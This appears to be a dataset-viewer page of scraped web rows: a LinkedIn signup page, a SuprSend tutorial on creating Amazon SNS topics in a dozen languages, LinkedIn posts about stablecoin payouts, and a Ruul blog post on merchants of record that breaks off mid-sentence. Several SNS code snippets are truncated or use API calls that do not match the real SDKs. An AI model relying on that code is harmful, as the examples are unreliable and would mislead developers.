Split (1)

train · ~858k rows (showing the first 350k)

url stringlengths 11 2.25k	text stringlengths 88 50k	ts timestamp[s]date 2026-01-13 08:47:33 2026-01-13 09:30:40
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww.linkedin.com%2Ffeed%2Fhashtag%2Ffutureofwork&trk=organization_guest_main-feed-card-text	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Remember me First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:55
https://www.suprsend.com/post/creating-amazon-sns-topics-using-aws-sdk-in-10-languages-including-java-net-python-and-go	Creating Amazon SNS Topics using AWS SDK in 10+ Languages Including Java, .NET, Python, and Go Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Creating Amazon SNS Topics using AWS SDK in 10+ Languages Including Java, .NET, Python, and Go Sanjeev Kumar • June 2, 2024 TABLE OF CONTENTS Creating SNS Topics To create an Amazon SNS topic, follow these steps: Sign in to the AWS Management Console : Go to the AWS Management Console and sign in with your AWS account credentials. Navigate to the Amazon SNS dashboard. Create a Topic : Click on Topics in the navigation panel. Click on Create topic . Choose the topic type: Standard : This is the default topic type and supports multiple subscriber types. FIFO (First-In-First-Out): This topic type ensures that messages are processed in the order they are received. Configure the Topic : Enter a Name for the topic. For a FIFO topic, add .fifo to the end of the name. Optionally, enter a Display name for the topic. For a FIFO topic, you can choose Content-based message deduplication to enable default message deduplication. Expand the Encryption section and choose Enable encryption to specify the AWS KMS key. Create the Topic : Click Create topic to create the topic. Example of Creating an SNS Topic using the AWS Management Console Here is an example of creating an SNS topic using the AWS Management Console: Sign in to the AWS Management Console. Navigate to the Amazon SNS dashboard. Click on Topics in the navigation panel. Click on Create topic . Choose Standard as the topic type. Enter Events as the topic name. Optionally, enter Events Display as the display name. Expand the Encryption section and choose Enable encryption . Specify the AWS KMS key. Click Create topic to create the topic. Example of Creating an SNS Topic using the AWS SDK for Java Here is an example of creating an SNS topic using the AWS SDK for Java: Copy Code import software.amazon.awssdk.services.sns.SnsClient; import software.amazon.awssdk.services.sns.model.CreateTopicRequest; import software.amazon.awssdk.services.sns.model.CreateTopicResponse; public class CreateSnsTopic { public static void main(String[] args) { SnsClient snsClient = SnsClient.create(); CreateTopicRequest request = CreateTopicRequest.builder() .name("Events") .build(); CreateTopicResponse response = snsClient.createTopic(request); System.out.println("Topic ARN: " + response.topicArn()); } } Example of Creating an SNS Topic using the AWS SDK for .NET Here is an example of creating an SNS topic using the AWS SDK for .NET: Copy Code using Amazon.SNS; using Amazon.SNS.Model; public class CreateSnsTopic { public static void Main(string[] args) { AmazonSNSClient snsClient = new AmazonSNSClient("accessKey", "secretKey", Amazon.Region.USWest2); CreateTopicRequest request = new CreateTopicRequest { Name = "Events" }; CreateTopicResponse response = snsClient.CreateTopic(request); Console.WriteLine("Topic ARN: " + response.TopicArn); } } Example of Creating an SNS Topic using the AWS CLI Here is an example of creating an SNS topic using the AWS CLI: Copy Code aws sns create-topic --name Events Example of Creating an SNS Topic using the AWS SDK for Python Here is an example of creating an SNS topic using the AWS SDK for Python: Copy Code import boto3 sns = boto3.client('sns') response = sns.create_topic(Name='Events') print("Topic ARN: " + response['TopicArn']) ‍ Example of Creating an SNS Topic using the AWS SDK for Go Here is an example of creating an SNS topic using the AWS SDK for Go: Copy Code package main import ( "context" "fmt" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/sns" ) func main() { sess, err := session.NewSession(&aws.Config{Region: aws.String("us-west-2")}, nil) if err != nil { fmt.Println(err) return } snsSvc := sns.New(sess) input := &sns.CreateTopicInput{ Name: aws.String("Events"), } result, err := snsSvc.CreateTopic(context.TODO(), input) if err != nil { fmt.Println(err) return } fmt.Println("Topic ARN: " + result.TopicArn) } ‍ Example of Creating an SNS Topic using the AWS SDK for Node.js Here is an example of creating an SNS topic using the AWS SDK for Node.js: Copy Code const AWS = require('aws-sdk'); const sns = new AWS.SNS({ region: 'us-west-2' }); const params = { Name: 'Events', }; sns.createTopic(params, (err, data) => { if (err) { console.log(err); } else { console.log("Topic ARN: " + data.TopicArn); } }); ‍ Example of Creating an SNS Topic using the AWS SDK for Ruby Here is an example of creating an SNS topic using the AWS SDK for Ruby: Copy Code require 'aws-sdk' sns = Aws::SNS::Client.new(region: 'us-west-2') params = { name: 'Events', } response = sns.create_topic(params) puts "Topic ARN: #{response.topic_arn}" ‍ Example of Creating an SNS Topic using the AWS SDK for PHP Here is an example of creating an SNS topic using the AWS SDK for PHP: Copy Code 'latest', 'region' => 'us-west-2', ]); $params = [ 'Name' => 'Events', ]; $response = $sns->createTopic($params); echo "Topic ARN: " . $response['TopicArn'] . "\n"; ‍ Example of Creating an SNS Topic using the AWS SDK for Swift Here is an example of creating an SNS topic using the AWS SDK for Swift: Copy Code import AWSSDK let sns = SNSClient(region: .usWest2) let params = SNSCreateTopicInput(name: "Events") sns.createTopic(params) { (result, error) in if let error = error { print("Error: \(error)") } else { print("Topic ARN: \(result?.topicArn ?? "")") } } ‍ Example of Creating an SNS Topic using the AWS SDK for Rust Here is an example of creating an SNS topic using the AWS SDK for Rust: Copy Code use aws_sdk_sns::{Client, CreateTopicRequest}; async fn main() -> Result > { let sns = Client::new().await?; let params = CreateTopicRequest { name: Some("Events".to_string()), ..Default::default() }; let result = sns.create_topic(params).await?; println!("Topic ARN: {}", result.topic_arn); Ok(()) } ‍ Example of Creating an SNS Topic using the AWS SDK for Kotlin Here is an example of creating an SNS topic using the AWS SDK for Kotlin: Copy Code import software.amazon.awssdk.services.sns.SnsClient import software.amazon.awssdk.services.sns.model.CreateTopicRequest import software.amazon.awssdk.services.sns.model.CreateTopicResponse fun main() { val sns = SnsClient.create() val request = CreateTopicRequest.builder() .name("Events") .build() val response = sns.createTopic(request) println("Topic ARN: ${response.topicArn()}") } ‍ Example of Creating an SNS Topic using the AWS SDK for Scala Here is an example of creating an SNS topic using the AWS SDK for Scala: Copy Code import software.amazon.awssdk.services.sns.SnsClient import software.amazon.awssdk.services.sns.model.CreateTopicRequest import software.amazon.awssdk.services.sns.model.CreateTopicResponse object CreateSnsTopic { def main(args: Array[String]): Unit = { val sns = SnsClient.create() val request = CreateTopicRequest.builder() .name("Events") .build() val response = sns.createTopic(request) println(s"Topic ARN: ${response.topicArn()}") } } ‍ Example of Creating an SNS Topic using the AWS SDK for TypeScript Here is an example of creating an SNS topic using the AWS SDK for TypeScript: Copy Code import as AWS from 'aws-sdk'; import * as sns from 'aws-sdk/clients/sns'; const snsClient = new sns({ region: 'us-west-2' }); const params = { Name: 'Events', }; snsClient.createTopic(params, (err, data) => { if (err) { console.log(err); } else { console.log(`Topic ARN: ${data.TopicArn}`); } }); Example of Creating an SNS Topic using the AWS SDK for Dart Here is an example of creating an SNS topic using the AWS SDK for Dart: Copy Code import 'package:aws_sdk_sns/sns.dart'; void main() async { final sns = SnsClient(region: 'us-west-2'); final params = CreateTopicRequest(name: 'Events'); final response = await sns.createTopic(params); print('Topic ARN: ${response.topicArn}'); } ‍ Share this blog on: Written by: Sanjeev Kumar Engineering, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://www.linkedin.com/posts/activity-7399463082604843008-Byyh	We’re excited to announce that MiniPay is partnering with Ruul, enabling instant payouts powered by stablecoins, no receiving fees and the ability to withdraw to the preferred local payment method at… \| MiniPay Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Join now MiniPay’s Post MiniPay 148 followers 1mo Report this post We’re excited to announce that MiniPay is partnering with Ruul , enabling instant payouts powered by stablecoins, no receiving fees and the ability to withdraw to the preferred local payment method at zero fees for global freelancers. This collaboration creates an industry-first payment solution that enables freelancers to sell digital services in traditional fiat currency whilst receiving payouts seamlessly converted into stablecoins, combining Ruul's global reach across 190+ countries with MiniPay's established presence in 60+ markets. With Ruul now directly connected to the MiniPay wallet, global freelancers will receive $25 extra when receiving their first payout over $100 through MiniPay. Users can link their Minipay wallets to Ruul with a single click, immediately enabling stablecoin payouts for their digital services and products. Learn more: https://lnkd.in/eupqsuWc 8 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in More Relevant Posts Condia (formerly, Bendada.com) 4,607 followers 3w Report this post Storipod Partners with Busha to Power Instant Stablecoin Payouts for 150,000+ African Creators. Nigeria's fast-growing creator platform integrates Busha's payment infrastructure to enable seamless fiat-to-crypto rails, eliminating withdrawal barriers for writers across Africa. Read more: https://lnkd.in/dYSfavN8 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Michele Mattei Michele Mattei is an Influencer 1mo Report this post Robinhood enters Indonesia through dual acquisition of brokerage and crypto trader #Robinhood Markets, Inc. has signed agreements to acquire PT Buana Capital Sekuritas , an Indonesian brokerage firm, and PT Pedagang Aset Kripto, a locally licensed digital asset trader, marking the company’s official entry into Indonesia and a deeper push into Southeast Asia. Financial terms of both transactions were not disclosed. The acquisitions are expected to close in the first half of 2026, subject to approval from the Indonesian Financial Services Authority (OJK) and other regulators. Indonesia represents one of the fastest-growing retail investing markets globally, with more than 19 million capital market investors and 17 million crypto investors. Patrick Chan , Head of Asia at Robinhood, said the market aligns closely with the company’s mission to broaden access to equities and digital assets. Pieter Tanuri, the majority owner of both Buana Capital and PT Pedagang Aset Kripto, will remain involved as a strategic advisor. Following completion, Robinhood will continue serving Buana Capital’s existing brokerage clients with local products, while preparing to introduce its own brokerage and crypto trading services. The long-term plan includes connecting Indonesian users to U.S. equities, cryptocurrencies, and cross-border trading infrastructure at scale. The announce on #Robinhood website in the first comment. 22 4 Comments Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in CryptoNewsZ 96,372 followers 1mo Report this post JUST IN: Robinhood is making a bold entry into Indonesia, moving to acquire brokerage firm Buana Capital and digital asset trader PT Pedagang Aset Kripto. #CryptoNews #Robinhood #Indonesia #FinTech #DigitalAssets 2 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Coinbase Developer Platform 6,891 followers 3w Report this post Introducing our Payment APIs! 🎉 As stablecoin adoption continues to grow, companies across the board have found they are faster, cheaper, and more global when compared to traditional payment rails. With our APIs you can move fiat into stablecoins, and send and receive stablecoins instantly to any deposit addresses anywhere in the world. A huge thanks to our partners: Deel , Routable Papaya Global , and dLocal . Our customers are using stablecoins to: → Pay vendors→ Manage their treasuries more efficiently … or turn on powerful mass payouts for use cases like creator and contractor payments. 21 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Dmytro Tkachenko 1mo Report this post Navro now supports stablecoin payouts thanks to BVNK integration The London-based payments platform Navro has added support for stablecoin-based transfers by integrating infrastructure from BVNK. This update means Navro customers (especially businesses paying freelancers, contractors or global teams across borders) can now send funds in stablecoins, offering near-instant settlement, reduced foreign-exchange friction, and a reliable alternative to traditional bank transfers. Navro emphasizes that this “always-on” payment rail expands choice for global payouts. In markets with volatile local currencies or slow banking systems, stablecoin payments can improve consistency and speed of international payroll and contractor payouts. For companies managing large volumes of cross-border payments, such as marketplaces, remote-work employers, or global payroll providers, the addition of stablecoin rails simplifies configuration: one integration, one API, and one contract to access both traditional and crypto-enabled payment methods. #Navro #BVNK #Stablecoins #GlobalPayments #Fintech #CrossBorderPayments 4 1 Comment Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Malcolm Gonsalves 1mo Report this post Robinhood has agreed to acquire two Indonesian firms: PT Buana Capital Sekuritas, a brokerage, and PT Pedagang Aset Kripto, a licensed digital-asset trader. Through this acquisition, Robinhood aims to tap into Indonesia’s large and growing market of around 17 million crypto traders and 19 million capital-market investors. The company plans, eventually, to offer its global brokerage and crypto-trading services to Indonesian users. The deal is subject to regulatory approvals in Indonesia, from the local financial regulator. If all goes well, the acquisition is expected to close in the first half of 2026. Indonesia is among Southeast Asia’s most dynamic crypto markets, driven by a young, tech-savvy population. For Robinhood, this offers a huge growth opportunity outside its established U.S./EU footprint. By buying established, licensed local firms - rather than starting from scratch - Robinhood skips the long wait for regulatory approval. This gives them a head-start to roll out services more quickly and compliantly. Once operational, Indonesian users could get access not only to local securities/crypto but also to U.S. equities and global crypto assets - something that may attract both retail and institutional users. This isn’t just about Indonesia, Robinhood has in recent years expanded into Europe and Asia, signaling that U.S.-based platforms are looking beyond domestic markets for growth, especially where crypto adoption is rising. For Indonesian crypto users and investors, Robinhood’s entry could mean: 🔹Easier access to crypto + global equities + possibly new financial products via a single, familiar interface. 🔹Increased competition among exchanges and brokerages which can drive better fees, features and services. 🔹More institutional-grade compliance, possibly improving security, regulation-adherence, and reducing risk compared to less-regulated platforms. For the global crypto ecosystem this reinforces a trend of “crypto going mainstream” - not just as fringe or speculative tools, but as part of regulated global investing infrastructure. It may encourage other global platforms to pursue similar expansion strategies in emerging markets with large under-penetrated investor bases. Success in Indonesia could inspire more cross-border expansion, prompting regulatory evolution and possibly new regional standards. #Robinhood #Indonesia #CryptoExpansion #Fintech #GlobalMarkets #CryptoAdoption #DigitalAssets #RetailInvesting #Web3 #EmergingMarkets #CryptoNews 7 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Cicada Finance 23 followers 1mo Report this post Cicada Finance under the entity of "Cicada Tech" has signed a Letter of Intent and filed a 6-K with Linkage Global Inc as part of our public market entry initiative. The initiative will further our goal of establishing blue-chip assets in RWA Finance and build a next-generation onchain asset management platform. What does this mean for Cicada Finance? ✅ Increased Credibility and Adoption ✅ Decentralization ✅ Improve Liquidity and Visibility ✅ Preservation of Ownership Rights ✅ Strong Collaborative Foundation ✅ Expanded Market Reach Form 6-K Link: https://lnkd.in/g48uW-4T Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Jeffery Lakes 3w Report this post UGC Creators are the distribution layer crypto keeps missing. This phase turns creative momentum into repeatable ADA touchpoints—without changing how creators already work. That’s how culture scales adoption. https://lnkd.in/gBB6pZpn #ProjectCatalyst #Fund15 #Cardano #ADA #CreatorEconomy #RealWorldAdoption View C2PA information Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in CoinTab News 496 followers 3w Report this post Meteora commits $1.5M to token buybacks as supply continues to tighten. This could be a meaningful step for $MET holders. https://lnkd.in/eybAs_mc Meteora Expands Buyback Program With New $1.5M Purchase cointab.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Coinbay 2,004 followers 2w Report this post The Lighter development team introduces the Lighter Infrastructure Token (LIT) as the primary mechanism to align incentives among all participants. The project allocates up to 50% of the total token supply to the ecosystem, reflecting a community-first approach and a focus on sustainable growth. Within this allocation, 25% of the fully diluted valuation is reserved for an immediate airdrop to reward users who participated in the first two points seasons in 2025. #Coinbay #perpDEX #LIT #Ethereum #Lighter https://lnkd.in/giHNxawd Lighter launches LIT token, 50% allocated to the community coinbay.io 2 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in 148 followers View Profile Connect Explore content categories Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce User Experience Show more Show less LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Sign in to view more content Create your free account or sign in to continue your search Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:55
https://ruul.io/blog/mor-vs-processor	Merchant of Record vs Payment Processor: Key Differences Explained Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid Merchant of Record vs Payment Processor Merchant of Record (MoR) or Payment Processor (PP)? Discover the key differences in tax, legal compliance, and risk for global sales. Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Big choice, big impact. You’re picking who carries legal risk, tax burden, and chargebacks. Tools vs. liability shield. Payment Processor (PP): You sell directly. Lower fees. Full control. You handle taxes, GDPR/PCI, fraud, chargebacks, support, and global setups. Merchant of Record (MoR): They resell for you. Compliance, taxes, fraud, chargebacks, and invoicing are handled. Faster global launch. When PP fits You sell domestically. You need a brand-first checkout. You have resources for tax, legal, fraud, and support. When MoR wins You want instant global reach. You prefer predictable costs over hidden ops spend. You’d rather build than battle compliance. For independents ‍ Ruul = Independent’s pay button. 190 countries, 140 currencies, crypto, tax compliance, and human support.Pay-as-you-go 5%. No monthly fees. Should you go with a Payment Processor (PP) or a Merchant of Record (MoR)? This single decision determines the answers to so many questions such as: "Who will calculate sales taxes in different countries?" "Who will handle an international chargeback request?" "Who will ensure compliance with the European Union's data protection laws?" That's why this is never just a simple technical integration. The choice you make can impact → your global operations, → your ability to stay legally compliant, → your protection from payment risks, and → even your financial sustainability. So yes, welcome to the showdown: Merchant of Record vs. Payment Processor ! What is a Payment Processor? A Payment Processor acts as a bridge between you and your customer. Their purpose, when you sell a service, is to: Securely transmit the payment, Authorize the transaction, and Technically facilitate the money transfer. However, a Payment Processor (PP) is simply a tool that facilitates payments. It doesn't concern itself with anything other than the secure transfer of funds. How does a Payment Processor work? Let me show you the 6 steps a customer goes through when you sell a service using a PP: The customer enters their card details into the payment form on the website. The information is encrypted and processed through the payment system (PP). The PP sends this information to the bank and requests authorization for the transaction. The bank checks the card's validity and the account balance. The bank then either approves or declines the transaction. If approved, the PP transfers the payment to the seller's account. In this model, protecting the customer's card information is the most critical point. To do this, complying with specific security standards (PCI-DSS) is a must. PP systems make this easier with a method called tokenization. Instead of using the actual card details, a secure "token" that represents them is used. This way, the actual card information is never stored, and transactions occur in a safe environment. What is a Merchant of Record? You are a freelancer. You sold a service. If you sell it yourself, what are you responsible for? Invoicing & documentation Global VAT compliance Receiving payments Refund management Each of these requires separate effort. A Merchant of Record (MoR) is a payment infrastructure that not only transfers payments but also ensures that the entire process is compliant with the law. For example, Ruul is a MoR. Source How does a Merchant of Record Work? Customers pay an MoR in the same way they would a Payment Processor. But in the background, a series of legal transactions is also taking place: Your customers make the payment directly to the MoR platform. This is the first legal transaction between the customer and the MoR. Simultaneously, the MoR legally purchases that product or service from you. This creates the second legal sale, between the MoR and your business. The MoR then deducts its own commission, transaction fees, and any applicable taxes (like VAT) based on the customer's country, and pays the remaining amount to you. And you won't even be aware of all these complex yet necessary legal processes happening in the background—the MoR does its job silently. The core difference between MoR and PP This fundamental distinction between an MoR and a PP radically changes how responsibilities are divided and, ultimately, how revenue is shared. While a PP "facilitates" a transaction, an MoR "takes on" and "resells" it. Who takes on the responsibilities: Merchant of Record vs. Payment Processor The key difference between the two models really comes down to the division of legal and operational responsibilities. 1. Tax obligations PP: For every product or service you sell, it's your job to calculate, file, and pay the correct VAT or similar indirect taxes based on the customer's location. And remit them to the respective tax authorities in that country. MoR: It automatically calculates all indirect taxes—like Sales Tax, VAT, and GST—that apply based on the customer's country, state, or region. The MoR collects the tax from the customer and then files and pays it to the relevant tax authorities on time. 2. Legal responsibilities PP: With a Payment Processor, ensuring your payment infrastructure and website are compliant with PCI-DSS standards is ultimately your responsibility. When collecting customer data, you are required to comply with personal data protection laws like the GDPR (European Union). MoR: Since the Merchant of Record is the legal seller for the transaction, it assumes all related financial and legal liability. In the event of a potential legal dispute, consumer complaint, or financial audit, the MoR is the party that will be held accountable. 3. Risk, fraud, and chargeback management PP: When a customer disputes a transaction through their bank (a chargeback), the responsibility is yours. This means you have to understand the reason for the dispute, gather evidence to defend the transaction, correspond with banks, and manage the entire process. MoR: They take on the entire risk of chargebacks and the process of managing these disputes. This protects you from both the direct financial losses that chargebacks cause and the operational costs of managing the process. 4. Payment integrations PP: As you expand into global markets, the operational burdens are entirely on your shoulders. This includes integrating popular local payment methods for each market and staying up to date with each country's unique consumer rights and regulations. MoR: They offer a wide variety of options, such as globally accepted credit cards, digital wallets, and local payment methods. An MoR manages the relationships with banks and payment processors and negotiates transaction fees on its own behalf. 5. Customer support and refunds PP: You must directly answer all customer inquiries related to payments, such as billing errors, payment issues, refund requests, and subscription management. If your sales volume is high, you may need a separate department dedicated solely to this purpose. MoR: An MoR issues invoices to the customer that comply with the legal regulations of their country. They handle customer support requests related to topics such as payments, invoices, refunds, and subscription cancellations. Pros and Cons: Merchant of Record vs. Payment Processor Advantages of a Merchant of Record 1. Go global instantly You can sign up for a MoR platform in seconds and start selling your services to customers in any country you choose, all in a legally compliant manner. When you work globally with an MoR, you don't have to worry about: Setting up local legal entities in different countries, Registering with tax authorities, Opening local bank accounts, Having legal anxieties, Or dealing with costly processes. Especially if you're an independent worker with limited resources, it can reduce your global market entry time from months to days. 2. Offer flexible payment methods If you're working globally, your payment methods need to be satisfyingly flexible, both for you and your clients. MoR platforms have more flexibility in this regard than Payment Processors. Your client can pay by bank transfer, credit card, or digital wallet. At Ruul, we've even added cryptocurrencies to this list. Source Even if your client chooses to pay with a credit card, you can receive USDC through our Binance integration. It also supports foreign currency and crypto payments, so you don't have to deal with details like exchange rate differences. 3. Focus only on your work You won’t have to spend time struggling with tax calculations, compliance, or fraud prevention. You can stay focused on growth. This frees you up to direct their full attention toward product development, marketing, and customer acquisition. Source 4. Eliminate risks Transferring all financial and legal risks (like fraud, chargebacks, penalties for non-compliance, etc.) to an MoR creates a predictable cost structure for your business. This protects you from unexpected penalties or losses. 5. Resolve disputes quickly Not every project goes smoothly. A client might dispute a payment, or a misunderstanding can occur. When disputes happen, having an MoR platform behind you allows you to defend yourself more effectively. Disadvantages of a Merchant of Record 1. Potential loss of brand control Having the MoR provider's name appear on the customer's credit card statement can weaken your brand recognition or brand presence. But if you're a freelancer, believe me, this isn't a major problem. What matters for clients is easy payment. 2. There can be cash flow delays While payments in a PP model usually land in your account within a few days, some MoRs transfer the money they collect to you according to their own payout cycles (for example, once a month or once every two weeks). But this really depends on which MoR platform you choose. For instance, let me give you an example from Ruul. While you can receive crypto payments at lightning speed, other payments will be in your account within one day at most. 3. Sales can be restricted To manage their own risk, MoRs reserve the right to restrict or completely reject the sale of certain products (e.g., some digital content, subscription models) or business models that they consider to be high-risk. Advantages of a Payment Processor 1. You have complete brand control You can align every stage of the payment process with your personal brand's design. Plus, your business name appears on the customer's statement, which earns you bonus points for building brand awareness, trust, and loyalty. 2. You build a direct customer relationship When a customer has a payment-related issue, they contact you directly. This enables you to resolve the problem quickly, gain a deeper understanding of your customer, and transform the interaction into a positive experience, ultimately increasing customer loyalty. Disadvantages of a Payment Processor 1. The costs are misleading A Payment Processor might seem low-cost, but that's a huge misconception. When you look at the facts, the Total Cost of Ownership for this model is often higher. That's because when you work with a Payment Processor, you'll need to get consulting on many different fronts. Expenses such as international tax consulting, accounting services, legal compliance tracking, fraud prevention software, and staff time spent managing chargebacks will create significant "hidden costs." 2. All the risks are on you Losses from fraud, the cost of every lost chargeback, penalties for data breaches, and all the financial and reputational risks from failing to comply with legal regulations fall entirely on you. This can not only lead to unexpected out-of-pocket expenses but also increase your workload and lead to burnout. 3. Going global is tough Entering each new market requires learning and implementing that market's tax laws, payment habits, and legal requirements from scratch. This is a barrier that significantly slows down global growth and makes it more expensive. How to choose the right Merchant of Record in 7 steps? 1. Flexible payment options for your clients The first factor to consider when choosing an MoR is how flexible the platform is in terms of payment methods. You need an MoR that supports your clients' preferred payment options, whether they're paying by credit card or bank transfer. Flexibility is essential because different clients will want to pay through various channels. 2. Seamless cross-border currency conversion If you have a global client base, you need to be able to receive international payments. When clients are in different parts of the world, currency conversion and cross-border payments shouldn't become a hassle. A good MoR saves you from dealing with volatile exchange rates and high conversion fees by automatically converting payments into your preferred currency. 3. Taxes shouldn't be a headache As a freelancer working globally, spending your time and energy calculating tax rates in different regions means you're channeling your energy into the wrong things. That's why you should make sure the MoR platform you choose automates tax collection and reporting. This is crucial for avoiding tax penalties. 📌 Ruul automatically calculates sales tax or VAT based on the transaction's location, so you stay compliant with tax laws. 4. Fast and reliable payouts Delayed payments hit you financially, and they can also be emotionally draining. Once a project is complete, you need to get paid on time, both to cover your personal expenses and to pay your team members if you have a team. For this reason, when choosing an MoR platform, be sure to check their payout schedules and speed. In this day and age, getting paid within one day at most and having the option to accept cryptocurrency for urgent payments are incredibly important. 📌 With Ruul, crypto payments are instant, and other payment requests are in your account within one day. 5. Secure transactions and fraud prevention A huge part of any sales transaction depends on the trust a customer has in you. If there's trust, there's a high probability of a sale. That's why it's critical for customers to feel secure when making a payment. As you do your research, make sure the MoR platform offers secure payment processing solutions that protect sensitive customer data and prevent fraud. This will help you maintain customer loyalty in the long run. 6. Support for your products and business model For example, say your client buys a recurring service from you every month. You want to automate this, so you decide on a "subscription" plan. If your MoR doesn't support this, it becomes difficult to execute your plans. Even if you don't have such plans at the moment, make sure to choose the right MoR to account for the possibility of shifting to different sales models in the future. 📌 At Ruul, we allow 